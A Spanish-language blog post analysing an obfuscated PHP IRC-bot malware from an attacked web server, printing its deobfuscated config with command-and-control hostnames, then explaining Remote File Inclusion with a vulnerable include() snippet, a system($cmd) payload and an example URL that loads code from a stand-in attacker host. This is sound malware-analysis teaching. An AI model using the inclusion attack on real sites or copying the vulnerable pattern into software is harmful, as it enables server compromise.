sábado, 10 de mayo de 2008

Analizando un Malware en 15 Minutos

Un amigo me envió un misterioso archivo, con el cual estuvieron realizando ataques a su servidor Web, para que intente descubrir de que se trataba.

El nombre del archivo era "images" y era un PHP que tenia su código fuente ofuscado. Se pueden bajar el archivo desde aquí, o a continuación les copio algunos fragmentos para que tengan idea de que se trata:



function jc8a89c2c306fb($t341be97d9aff9)
{ $t341be97d9aff9 = str_replace(" ", "", $t341be97d9aff9);
return $t341be97d9aff9; }
function yb5d21085bf2c0($t341be97d9aff9)
{ $t341be97d9aff9 = base64_decode(jc8a89c2c306fb($t341be97d9aff9));
return $t341be97d9aff9; }
$nec12e0af93cb5 = array (
"po" => 8080, "sp" => "uJijk4iVsIXRmQ==",
"ch" => "aFZtlg==",
"ke" => "hniT",
"ha" => "dG1qQk1halK/nE6N",
"pa" => "fpekVYhVdlWQXGLBXnBWWId1hll1WVWJVFpYh1tahVs=",
"tr" => "*", "mrnd" => 9,
"mo" => "cqtrig==",
"ve" => "dmFyWIc=" );



Me imagine que si era un malware muy conocido, seguramente podría encontrar algo en Google buscando por su hash MD5:


En este caso no encontré demasiados resultados, pero este hash aparecía en un listado de malwares del Honeynet de la República Checa:


No había mucha mas información que esto, pero se imaginaran que si aparecía en un honeynet no era nada bueno.

Cuando estaba comenzando a entender las dos primeras funciones que se encargan de la ofuscación del código, me encontré con alguien que ya se había tomado el trabajo de hacer la ingeniería inversa.

Pueden ver todo el código PHP desofuscado aquí, o a continuación les copio algunos de los fragmentos mas interesantes:


$settings = array(
"po" => 8080, // Port
"sp" => "uJijk4iVsIXRmQ==", // Server Password, secretpass
"ch" => "aFaw", // Channel, ##p
"ke" => "spd1iYSUqA==", // Channel Key, md5hash
"ha" => "dG1qQk1halK/nE6N", // Admin host RegEx, /:*!*@*.av$/
"pa" => "fpekVYhVdlWQXGLBXnBWWId1hll1WVWJVFpYh1tahVs=", // Admin password (md5 hash), 9dd4e461268c8034f5c8564e155c67a6
"tr" => "*", // Command prefix
"mrnd" => 9, // Nick/User length
"mo" => "cqtrig==", // -x+i
"ve" => "dmFyWA==" // 1.27
);

...
...
...

$servers = array(
"sqytlpaKo4a/lI6MnaWIiI+zUYSvkA==", // mymusicband.weedns.com
"sqywiZKPpZLTk4zDmG6aiYakkZRuhpCR", // myphonenumber.weedns.com
"rpihlYyTr5LWVKHDi6SRl0+jko4=", // ieatironx.weedns.com
"rZytgpFPr5TDlI7MmW6FiQ==", // himan.opendns.be
"sKJuhYdPopDTi5bHlKVRhoY=", // ko.dd.blueline.be
"tWeuVFZSclfDVI7CVKKPmYasjI+lUYOJ", // p4n33123e.dd.blueline.be
"vaOokJFUbpPOi5jClLNRhoY=", // xphon3.opendns.be
"sqywiZKPpVeMipjHlm6RiZU=", // myphone3.dnip.net
"sqytlpaKo5eMipjHlm6RiZU=" // mymusics.dnip.net
);



Este código en PHP es simplemente un cliente IRC que se va a conectar al puerto 8080 de los hosts que aparecen en el código. Una vez que este cliente ingresa al canal del IRC, el atacante puede ejecutar comandos en el servidor víctima directamente desde allí, por ejemplo para terminar de comprometer el host, realizar ataques de DDoS, etc.

Pero mas interesante que esto, es saber como se logro ejecutar este malware en el servidor Web. El ataque fue realizado mediante una "Remote File Inclusion Vulnerability".

Este tipo de ataque aprovecha un error muy común de programación en PHP, en donde no se verifica correctamente los valores pasados a las funciones include, include_once, require y require_once.

Estas funciones, se utilizan para incluir el código de una pagina dentro de otra, ya sea para reutilizar el código u otra razón. Generalmente el programador haría algo como esto:



include($pagina);
// resto del codigo...



Usualmente, los atacantes no muy sofisticados, solamente van a intentar ejecutar comandos en el servidor víctima. Para esto, el atacante debería guardar en otro servidor el codigo malicioso:



system($cmd);



Supongamos que se llama "malware.txt", y se encuentra guardado en "http://atacante.com/malware.txt". Para ejecutarlo en la víctima, simplemente habría que hacer lo siguiente:



http://victima.com/index.php?pagina=http://atacante.com/malware.txt&&cmd=ls



Es importante que el codigo malware no tenga una extensión ".php", ya que de lo contrario primero se va a ejecutar en el servidor atacante.

Bueno, eso es todo, para un análisis mas profundo mi amigo debería invitar algunas cervezas. Guinness, por supuesto.

2 comentarios:

Anónimo dijo...

Pregunta: Para que tu ejemplo fuese exitoso en la página a atacar debería existir algún $pagina=$_REQUEST[pagina] (o $_GET[pagina]? Si no es así es realmente una joda PHP!

Leonardo Pigñer dijo...

Hola Gabolonte,

Correcto!

El codigo deberia ser:

$pagina = $_GET['pagina'];
include($pagina);


Gracias por la aclaracion :)

LinkWithin